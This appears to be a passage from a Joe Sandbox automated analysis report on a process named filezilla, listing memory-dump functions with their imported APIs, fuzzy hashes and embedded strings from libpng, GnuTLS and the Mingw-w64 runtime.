Snapshot File: hcaresult_13_2_7ff81f9f0000_filezilla.jbxd

Similarity

API ID: CriticalSection$EnterLeaveSleep
String ID:
API String ID: 1566154052-0
Opcode ID: 2f5ef5f886846dfb35b1cf408ed04c6b55da6235f3f7e1447de8ee2dc172f6de
Instruction ID: bbeb1ddc76b4a4830af2e96c92e06ae628d02984d92283a3b490e8b6a21a613e
Opcode Fuzzy Hash: 2f5ef5f886846dfb35b1cf408ed04c6b55da6235f3f7e1447de8ee2dc172f6de
Instruction Fuzzy Hash: E7417C39A0DE0796F634BB35A86577A2391AF05BF8F540730E91A422E6DF3CA942C341

Function 6154D370 Relevance: 21.2, APIs: 7, Strings: 7, Instructions: 185stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 6154D413

Strings

Invalid pCAL equation type, xrefs: 6154D3FB
Invalid format for pCAL parameter, xrefs: 6154D45E
Insufficient memory for pCAL units, xrefs: 6154D627
Insufficient memory for pCAL parameter, xrefs: 6154D5CA
Invalid pCAL parameter count, xrefs: 6154D5F6
Insufficient memory for pCAL purpose, xrefs: 6154D636
Insufficient memory for pCAL params, xrefs: 6154D61E

Memory Dump Source

Source File: 0000000D.00000002.2596249694.0000000061531000.00000020.00000001.01000000.0000001A.sdmp, Offset: 61530000, based on PE: true

Associated: 0000000D.00000002.2596180412.0000000061530000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596375005.000000006155F000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596450081.0000000061569000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596475130.000000006156B000.00000004.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_61530000_filezilla.jbxd

Similarity

API ID: strlen
String ID: Insufficient memory for pCAL parameter$Insufficient memory for pCAL params$Insufficient memory for pCAL purpose$Insufficient memory for pCAL units$Invalid format for pCAL parameter$Invalid pCAL equation type$Invalid pCAL parameter count
API String ID: 39653677-1679587341
Opcode ID: 75ec2c346542550a83de21c1b3798c59dea855d0ac427fbb3440ee9f85ec7e50
Instruction ID: 98b3502e2bf06f07dd13a2f9c3026628a6718795fd3acc162aa6f876cfd3282d
Opcode Fuzzy Hash: 75ec2c346542550a83de21c1b3798c59dea855d0ac427fbb3440ee9f85ec7e50
Instruction Fuzzy Hash: 3751EF72306B8085EB41CF29A90039AFBA1E799BD8F888121CE594B758EF79D581C740

Function 61552010 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 91filestringCOMMON

Download Yara Rule

APIs

fopen.MSVCRT ref: 61552086
_errno.MSVCRT ref: 615520D9
fclose.MSVCRT ref: 615520E5
remove.MSVCRT ref: 615520ED
strerror.MSVCRT ref: 615520F5

Strings

png_image_write_to_file: invalid argument, xrefs: 61552120
png_image_write_to_file: incorrect PNG_IMAGE_VERSION, xrefs: 61552040

Memory Dump Source

Source File: 0000000D.00000002.2596249694.0000000061531000.00000020.00000001.01000000.0000001A.sdmp, Offset: 61530000, based on PE: true

Associated: 0000000D.00000002.2596180412.0000000061530000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596375005.000000006155F000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596450081.0000000061569000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596475130.000000006156B000.00000004.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_61530000_filezilla.jbxd

Similarity

API ID: _errnofclosefopenremovestrerror
String ID: png_image_write_to_file: incorrect PNG_IMAGE_VERSION$png_image_write_to_file: invalid argument
API String ID: 3227256967-850184487
Opcode ID: 3c0214c6a9504b9259652a48073a6455a2dc1e83473da4114165ad5c6282ec91
Instruction ID: b46e6f4ef81fe7cf7eb2c09156ab2c5806b9e7144ddab90c284b0bd8a61e9bc0
Opcode Fuzzy Hash: 3c0214c6a9504b9259652a48073a6455a2dc1e83473da4114165ad5c6282ec91
Instruction Fuzzy Hash: F021C136306645C5EA86DBB2A80076BFA95BBC4BC8F84C4139D1757320DF39C875CB80

Function 00007FF81FA61000 Relevance: 21.1, APIs: 7, Strings: 7, Instructions: 55stringCOMMON

Download Yara Rule

APIs

strcmp.MSVCRT ref: 00007FF81FA6100F
strcmp.MSVCRT ref: 00007FF81FA61032
strcmp.MSVCRT ref: 00007FF81FA6104C
strcmp.MSVCRT ref: 00007FF81FA61066
strcmp.MSVCRT ref: 00007FF81FA61080
strcmp.MSVCRT ref: 00007FF81FA6109A
strcmp.MSVCRT ref: 00007FF81FA610B8

Strings

dNSName, xrefs: 00007FF81FA61005
iPAddress, xrefs: 00007FF81FA6105C
otherName, xrefs: 00007FF81FA61076
directoryName, xrefs: 00007FF81FA61090
registeredID, xrefs: 00007FF81FA610AE
uniformResourceIdentifier, xrefs: 00007FF81FA61042
rfc822Name, xrefs: 00007FF81FA61028

Memory Dump Source

Source File: 0000000D.00000002.2605152304.00007FF81F9F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FF81F9F0000, based on PE: true

Associated: 0000000D.00000002.2605126700.00007FF81F9F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605321781.00007FF81FB1F000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605377466.00007FF81FB20000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605400386.00007FF81FB21000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605458972.00007FF81FB22000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605458972.00007FF81FB86000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605646288.00007FF81FBEC000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605675186.00007FF81FBF9000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605712647.00007FF81FBFA000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605737638.00007FF81FBFB000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605766159.00007FF81FC01000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff81f9f0000_filezilla.jbxd

Similarity

API ID: strcmp
String ID: dNSName$directoryName$iPAddress$otherName$registeredID$rfc822Name$uniformResourceIdentifier
API String ID: 1004003707-308041937
Opcode ID: 8d2ba7c08bc53972b1c8023897933df4fdc4147699ddf223a0b8640a9616f39d
Instruction ID: fe93d47cc805a931e811d5bb3e4615380dab3b674856f7ba56583794810c73ab
Opcode Fuzzy Hash: 8d2ba7c08bc53972b1c8023897933df4fdc4147699ddf223a0b8640a9616f39d
Instruction Fuzzy Hash: 52115494F4CE4341FE68E75DA51237212939FD87E4F589331E80E8638AFE6DE5059300

Function 6154C750 Relevance: 18.2, APIs: 8, Strings: 4, Instructions: 199stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 6154C8AE
strlen.MSVCRT ref: 6154C8D3
strlen.MSVCRT ref: 6154C8F0
memcpy.MSVCRT ref: 6154C945
memcpy.MSVCRT ref: 6154C969
memcpy.MSVCRT ref: 6154C986
memcpy.MSVCRT ref: 6154C9B0

Part of subcall function 615393A0: memset.MSVCRT ref: 6153943A

Strings

8, xrefs: 6154C7AD
text compression mode is out of range, xrefs: 6154CA2E
text chunk: out of memory, xrefs: 6154CAAA
too many text chunks, xrefs: 6154CA89

Memory Dump Source

Source File: 0000000D.00000002.2596249694.0000000061531000.00000020.00000001.01000000.0000001A.sdmp, Offset: 61530000, based on PE: true

Associated: 0000000D.00000002.2596180412.0000000061530000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596375005.000000006155F000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596450081.0000000061569000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596475130.000000006156B000.00000004.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_61530000_filezilla.jbxd

Similarity

API ID: memcpy$strlen$memset
String ID: 8$text chunk: out of memory$text compression mode is out of range$too many text chunks
API String ID: 473432538-1300225907
Opcode ID: 52beef20b63b95195680ab66bc2c794834b76a56e6c1781e811fdc56b02a17aa
Instruction ID: fe0941c224e0527e28a362c585c437387b0000633ca69cb03e6c6d1e73f9beeb
Opcode Fuzzy Hash: 52beef20b63b95195680ab66bc2c794834b76a56e6c1781e811fdc56b02a17aa
Instruction Fuzzy Hash: 5481D172215B8185EB10CF66E498B9EBBA9F7C6BD8F428215CF5A4B740EF79C048C340

Function 00007FF81FA00030 Relevance: 17.6, APIs: 1, Strings: 9, Instructions: 132COMMON

Download Yara Rule

APIs

_wassert.MSVCRT ref: 00007FF81FA00174

Strings

_gnutls_buffer_init_mbuffer, xrefs: 00007FF81FA001BF
buf->length >= sizeof(mbuffer_st) + header_size, xrefs: 00007FF81FA0016D
_gnutls_send_supplemental, xrefs: 00007FF81FA001ED, 00007FF81FA00238
ASSERT: %s[%s]:%d, xrefs: 00007FF81FA001B8, 00007FF81FA0024B
handshake.c, xrefs: 00007FF81FA001FC, 00007FF81FA0023F
EXT[%p]: Sending supplemental data, xrefs: 00007FF81FA00213
mbuffers.h, xrefs: 00007FF81FA00166
}, xrefs: 00007FF81FA001B0
mbuffers.h, xrefs: 00007FF81FA001CB

Memory Dump Source

Source File: 0000000D.00000002.2605152304.00007FF81F9F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FF81F9F0000, based on PE: true

Associated: 0000000D.00000002.2605126700.00007FF81F9F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605321781.00007FF81FB1F000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605377466.00007FF81FB20000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605400386.00007FF81FB21000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605458972.00007FF81FB22000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605458972.00007FF81FB86000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605646288.00007FF81FBEC000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605675186.00007FF81FBF9000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605712647.00007FF81FBFA000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605737638.00007FF81FBFB000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605766159.00007FF81FC01000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff81f9f0000_filezilla.jbxd

Similarity

API ID: _wassert
String ID: ASSERT: %s[%s]:%d$EXT[%p]: Sending supplemental data$_gnutls_buffer_init_mbuffer$_gnutls_send_supplemental$buf->length >= sizeof(mbuffer_st) + header_size$handshake.c$mbuffers.h$mbuffers.h$}
API String ID: 3234217646-2436657848
Opcode ID: c7e76824fd3ff8ca63f3dc6d02341e644810310217d8956e76fa04e68c2af3db
Instruction ID: 58b66bad82006f1f566af59e59911ea4f9baeb9b2c5b69bd4f6da329b9bd8500
Opcode Fuzzy Hash: c7e76824fd3ff8ca63f3dc6d02341e644810310217d8956e76fa04e68c2af3db
Instruction Fuzzy Hash: 04519C22B19E4686F7258F21E8462BA2765BF49BE8F844332DE4D02795DF3CE285C700

Function 00007FF81FA7D0F0 Relevance: 16.7, APIs: 1, Strings: 10, Instructions: 195stringCOMMON

Download Yara Rule

APIs

strcmp.MSVCRT ref: 00007FF81FA7D1A2

Strings

authSafe.content, xrefs: 00007FF81FA7D1C5
pkcs12.c, xrefs: 00007FF81FA7D27B, 00007FF81FA7D300, 00007FF81FA7D3B0, 00007FF81FA7D41D, 00007FF81FA7D461
PKIX1.pkcs-12-AuthenticatedSafe, xrefs: 00007FF81FA7D1E7
Unknown PKCS12 Content OID '%s', xrefs: 00007FF81FA7D43F
authSafe.contentType, xrefs: 00007FF81FA7D113
_decode_pkcs12_auth_safe, xrefs: 00007FF81FA7D274, 00007FF81FA7D2F0, 00007FF81FA7D3A0, 00007FF81FA7D416, 00007FF81FA7D45A
DER error: %s, xrefs: 00007FF81FA7D3F8
1.2.840.113549.1.7.1, xrefs: 00007FF81FA7D198
ASSERT: %s[%s]:%d, xrefs: 00007FF81FA7D287, 00007FF81FA7D30F, 00007FF81FA7D3BF, 00007FF81FA7D429, 00007FF81FA7D46D
>, xrefs: 00007FF81FA7D452

Memory Dump Source

Source File: 0000000D.00000002.2605152304.00007FF81F9F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FF81F9F0000, based on PE: true

Associated: 0000000D.00000002.2605126700.00007FF81F9F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605321781.00007FF81FB1F000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605377466.00007FF81FB20000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605400386.00007FF81FB21000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605458972.00007FF81FB22000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605458972.00007FF81FB86000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605646288.00007FF81FBEC000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605675186.00007FF81FBF9000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605712647.00007FF81FBFA000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605737638.00007FF81FBFB000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605766159.00007FF81FC01000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff81f9f0000_filezilla.jbxd

Similarity

API ID: strcmp
String ID: 1.2.840.113549.1.7.1$>$ASSERT: %s[%s]:%d$DER error: %s$PKIX1.pkcs-12-AuthenticatedSafe$Unknown PKCS12 Content OID '%s'$_decode_pkcs12_auth_safe$authSafe.content$authSafe.contentType$pkcs12.c
API String ID: 1004003707-3974941369
Opcode ID: 422dc918ce7c628a48cfb99e6c9ee72beb8c73cc1b0ab3ce1e5db7649ad766d5
Instruction ID: 080e0568cc4614218ba71f15ad96c226784ca829dedd8938cf2c7d322c4e8c86
Opcode Fuzzy Hash: 422dc918ce7c628a48cfb99e6c9ee72beb8c73cc1b0ab3ce1e5db7649ad766d5
Instruction Fuzzy Hash: BB917E72A0CE4282F620CB04E9617BA73A1FB457E8F844332EA4E576A5CF7DE505C781

Function 00007FF81FA4E0A0 Relevance: 15.9, APIs: 1, Strings: 8, Instructions: 117COMMON

Download Yara Rule

APIs

_wassert.MSVCRT ref: 00007FF81FA4E224

Strings

tls13/encrypted_extensions.c, xrefs: 00007FF81FA4E1F2, 00007FF81FA4E270
buf->length >= sizeof(mbuffer_st) + header_size, xrefs: 00007FF81FA4E21D
ASSERT: %s[%s]:%d, xrefs: 00007FF81FA4E1A4, 00007FF81FA4E27F
_gnutls13_send_encrypted_extensions, xrefs: 00007FF81FA4E1E3, 00007FF81FA4E260
./mbuffers.h, xrefs: 00007FF81FA4E216
D, xrefs: 00007FF81FA4E277
_gnutls_buffer_init_mbuffer, xrefs: 00007FF81FA4E1B4
./mbuffers.h, xrefs: 00007FF81FA4E1C3

Memory Dump Source

Source File: 0000000D.00000002.2605152304.00007FF81F9F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FF81F9F0000, based on PE: true

Associated: 0000000D.00000002.2605126700.00007FF81F9F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605321781.00007FF81FB1F000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605377466.00007FF81FB20000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605400386.00007FF81FB21000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605458972.00007FF81FB22000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605458972.00007FF81FB86000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605646288.00007FF81FBEC000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605675186.00007FF81FBF9000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605712647.00007FF81FBFA000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605737638.00007FF81FBFB000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605766159.00007FF81FC01000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff81f9f0000_filezilla.jbxd

Similarity

API ID: _wassert
String ID: ./mbuffers.h$./mbuffers.h$ASSERT: %s[%s]:%d$D$_gnutls13_send_encrypted_extensions$_gnutls_buffer_init_mbuffer$buf->length >= sizeof(mbuffer_st) + header_size$tls13/encrypted_extensions.c
API String ID: 3234217646-887381424
Opcode ID: 552c2993fcd76d490cfd777ee1de50e4bcd392e9719862a70da25cec9f7ec41a
Instruction ID: 543133c8ba6cfb28a3f0b1440e4dcbdcf91d64b91c08e428045d1b51190a7b13
Opcode Fuzzy Hash: 552c2993fcd76d490cfd777ee1de50e4bcd392e9719862a70da25cec9f7ec41a
Instruction Fuzzy Hash: 7151A372E1CE4286E7208F25E9411AAB761FB447E8F485336EB4E07A95DF7CE544CB40

Function 6154D650 Relevance: 15.2, APIs: 4, Strings: 6, Instructions: 161stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 6154D69D
strlen.MSVCRT ref: 6154D6D8
memcpy.MSVCRT ref: 6154D739
memcpy.MSVCRT ref: 6154D75E

Strings

Invalid sCAL height, xrefs: 6154D792
Invalid sCAL width, xrefs: 6154D783
Invalid sCAL height ignored, xrefs: 6154D890
Memory allocation failed while processing sCAL, xrefs: 6154D7BB
Invalid sCAL width ignored, xrefs: 6154D81A
Invalid sCAL unit, xrefs: 6154D7D8

Memory Dump Source

Source File: 0000000D.00000002.2596249694.0000000061531000.00000020.00000001.01000000.0000001A.sdmp, Offset: 61530000, based on PE: true

Associated: 0000000D.00000002.2596180412.0000000061530000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596375005.000000006155F000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596450081.0000000061569000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596475130.000000006156B000.00000004.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_61530000_filezilla.jbxd

Similarity

API ID: memcpystrlen
String ID: Invalid sCAL height$Invalid sCAL height ignored$Invalid sCAL unit$Invalid sCAL width$Invalid sCAL width ignored$Memory allocation failed while processing sCAL
API String ID: 3412268980-2569950517
Opcode ID: 89e8a0b589262ea5e404c968626be863f9445bc28a079ea09008fa0a5a384ee4
Instruction ID: 160143ee323cec253e2d9df35ed370901ee6c987d20881cd15d9e3c48d9ad133
Opcode Fuzzy Hash: 89e8a0b589262ea5e404c968626be863f9445bc28a079ea09008fa0a5a384ee4
Instruction Fuzzy Hash: F5412573705A9080FB06DB66A8003AAE755BBD5BE8F84C3219E685B784EF38C585C340

Function 66409360 Relevance: 15.1, APIs: 12, Instructions: 110stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 66409384
strlen.MSVCRT ref: 66409391
strlen.MSVCRT ref: 6640939C
strlen.MSVCRT ref: 664093C7
strlen.MSVCRT ref: 6640941C
memcpy.MSVCRT ref: 66409431
strlen.MSVCRT ref: 66409452
memcpy.MSVCRT ref: 66409467
strlen.MSVCRT ref: 6640947B
memcpy.MSVCRT ref: 66409490
strlen.MSVCRT ref: 66409498
memcpy.MSVCRT ref: 664094AA

Memory Dump Source

Source File: 0000000D.00000002.2597388498.0000000066381000.00000020.00000001.01000000.00000011.sdmp, Offset: 66380000, based on PE: true

Associated: 0000000D.00000002.2597218018.0000000066380000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000D.00000002.2597614896.000000006648B000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000D.00000002.2597668113.000000006648F000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000D.00000002.2597725866.00000000664B3000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000D.00000002.2597781090.00000000664B4000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000D.00000002.2597836180.00000000664B7000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000D.00000002.2597896755.00000000664BA000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_66380000_filezilla.jbxd

Similarity

API ID: strlen$memcpy
String ID:
API String ID: 3396830738-0
Opcode ID: 55fbba1618479447fa23cce5ce6ac13ba32eda4eda7858136e3f26e9fa89f611
Instruction ID: fa5a38da743d3c78db30c67dbfec0d28d623ee79c3953874ef1f8d131041878c
Opcode Fuzzy Hash: 55fbba1618479447fa23cce5ce6ac13ba32eda4eda7858136e3f26e9fa89f611
Instruction Fuzzy Hash: 7431F21170939462DA01DF2AED04A9DBF51FF8ABD8FC89029CE082BB44EF79C586C340

Function 61554AF0 Relevance: 13.7, APIs: 3, Strings: 6, Instructions: 229stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 61554B7F
strlen.MSVCRT ref: 61554B94
strlen.MSVCRT ref: 61554BA9

Strings

iTXt: invalid keyword, xrefs: 61554E75
iTXt: invalid compression, xrefs: 61554CC1
tXTi, xrefs: 61554E18
tXTi, xrefs: 61554D50
iTXt: uncompressed text too long, xrefs: 61554E84
tXTi, xrefs: 61554C13

Memory Dump Source

Source File: 0000000D.00000002.2596249694.0000000061531000.00000020.00000001.01000000.0000001A.sdmp, Offset: 61530000, based on PE: true

Associated: 0000000D.00000002.2596180412.0000000061530000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596375005.000000006155F000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596450081.0000000061569000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596475130.000000006156B000.00000004.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_61530000_filezilla.jbxd

Similarity

API ID: strlen
String ID: iTXt: invalid compression$iTXt: invalid keyword$iTXt: uncompressed text too long$tXTi$tXTi$tXTi
API String ID: 39653677-2017232406
Opcode ID: 95460cc55e404a1e57d6cd78f541a078fb59da3f9bcad230f7e6ec81804778d8
Instruction ID: c438a9961479325b7d38aba751bdc3cf2fd27e51dc69457221c141dd7f600dfc
Opcode Fuzzy Hash: 95460cc55e404a1e57d6cd78f541a078fb59da3f9bcad230f7e6ec81804778d8
Instruction Fuzzy Hash: 8F71F67130829186DA94CE6BB808B9BEB51B7C6FC8F84C9168E195FB44EF3CC521C744

Function 6153A260 Relevance: 13.6, APIs: 1, Strings: 8, Instructions: 150COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 6153A308

Strings

No IDAT data (internal error), xrefs: 6153AEB5, 6153B12D
Extra compressed data in IDAT, xrefs: 6153ADC8
Not enough compressed data, xrefs: 6153B13C
internal progressive row size calculation error, xrefs: 6153AC8B
bad adaptive filter value, xrefs: 6153AC7C
progressive row overflow, xrefs: 6153A436
IDAT: ADLER32 checksum mismatch, xrefs: 6153AE47
TADI, xrefs: 6153AF53

Memory Dump Source

Source File: 0000000D.00000002.2596249694.0000000061531000.00000020.00000001.01000000.0000001A.sdmp, Offset: 61530000, based on PE: true

Associated: 0000000D.00000002.2596180412.0000000061530000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596375005.000000006155F000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596450081.0000000061569000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596475130.000000006156B000.00000004.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_61530000_filezilla.jbxd

Similarity

API ID: memcpy
String ID: Extra compressed data in IDAT$IDAT: ADLER32 checksum mismatch$No IDAT data (internal error)$Not enough compressed data$TADI$bad adaptive filter value$internal progressive row size calculation error$progressive row overflow
API String ID: 3510742995-3334595312
Opcode ID: 8ce1782e2eae08792ca2506500ee42d078934ed4eb4ade36a37efaf140a9b4f1
Instruction ID: 1bac4d06e90d4af9e7a75cc4c8179c9fcd5fb1fd0f45d6d66d7d9a38907cf18f
Opcode Fuzzy Hash: 8ce1782e2eae08792ca2506500ee42d078934ed4eb4ade36a37efaf140a9b4f1
Instruction Fuzzy Hash: 4851DF7621A6F586DB41CB16A04CFDEBB69F7C6BC4F859006DA4987724EF3AC240CB04

Function 61556690 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 115COMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32 ref: 615567A9

Strings

VirtualQuery failed for %d bytes at address %p, xrefs: 61556841
Address %p has no image-section, xrefs: 61556700, 61556855
Mingw-w64 runtime failure:, xrefs: 615566C8
VirtualProtect failed with code 0x%x, xrefs: 6155681E

Memory Dump Source

Source File: 0000000D.00000002.2596249694.0000000061531000.00000020.00000001.01000000.0000001A.sdmp, Offset: 61530000, based on PE: true

Associated: 0000000D.00000002.2596180412.0000000061530000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596375005.000000006155F000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596450081.0000000061569000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596475130.000000006156B000.00000004.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_61530000_filezilla.jbxd

Similarity

API ID: QueryVirtual
String ID: VirtualProtect failed with code 0x%x$ VirtualQuery failed for %d bytes at address %p$Address %p has no image-section$Mingw-w64 runtime failure:
API String ID: 1804819252-1534286854
Opcode ID: 1d255169394f9163aa721ebaa1d4b007153936bdacff4991661b4896514458a0
Instruction ID: 9b08d234572f2745f767833f8b8f6ebc74004d9fdb5fe1a68915b831fec5d223
Opcode Fuzzy Hash: 1d255169394f9163aa721ebaa1d4b007153936bdacff4991661b4896514458a0
Instruction Fuzzy Hash: EF41A272711B81C6EB409F51E850399F7A1FBC6B98F88812ADE4E07764EB39C5A5C780

Function 61582BC0 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 115COMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32 ref: 61582CD9

Strings

VirtualQuery failed for %d bytes at address %p, xrefs: 61582D71
VirtualProtect failed with code 0x%x, xrefs: 61582D4E
Address %p has no image-section, xrefs: 61582C30, 61582D85
Mingw-w64 runtime failure:, xrefs: 61582BF8

Memory Dump Source

Source File: 0000000D.00000002.2596590874.0000000061571000.00000020.00000001.01000000.00000019.sdmp, Offset: 61570000, based on PE: true

Associated: 0000000D.00000002.2596533750.0000000061570000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 0000000D.00000002.2596752323.000000006158A000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 0000000D.00000002.2596813154.0000000061593000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 0000000D.00000002.2596902370.0000000061594000.00000004.00000001.01000000.00000019.sdmpDownload File
Associated: 0000000D.00000002.2597059856.0000000061597000.00000008.00000001.01000000.00000019.sdmpDownload File
Associated: 0000000D.00000002.2597122641.0000000061598000.00000002.00000001.01000000.00000019.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_61570000_filezilla.jbxd

Similarity

API ID: QueryVirtual
String ID: VirtualProtect failed with code 0x%x$ VirtualQuery failed for %d bytes at address %p$Address %p has no image-section$Mingw-w64 runtime failure:
API String ID: 1804819252-1534286854
Opcode ID: 271413b3b9414ff76b17447e7107e6f14b24b76118a6f94385a23edc339d1bd9
Instruction ID: 51b00312ad0bc064c8e843fa3e474537eef88f4bcacf1e5ffd990e384f65d1c7
Opcode Fuzzy Hash: 271413b3b9414ff76b17447e7107e6f14b24b76118a6f94385a23edc339d1bd9
Instruction Fuzzy Hash: 90418E72701B52C2EB509F62E841399BBA2F7CAB98F48C529CE4E07764EF39C559C740

Function 66487FF0 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 115COMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32 ref: 66488109

Strings

VirtualQuery failed for %d bytes at address %p, xrefs: 664881A1
Address %p has no image-section, xrefs: 66488060, 664881B5
VirtualProtect failed with code 0x%x, xrefs: 6648817E
Mingw-w64 runtime failure:, xrefs: 66488028

Memory Dump Source

Source File: 0000000D.00000002.2597388498.0000000066381000.00000020.00000001.01000000.00000011.sdmp, Offset: 66380000, based on PE: true

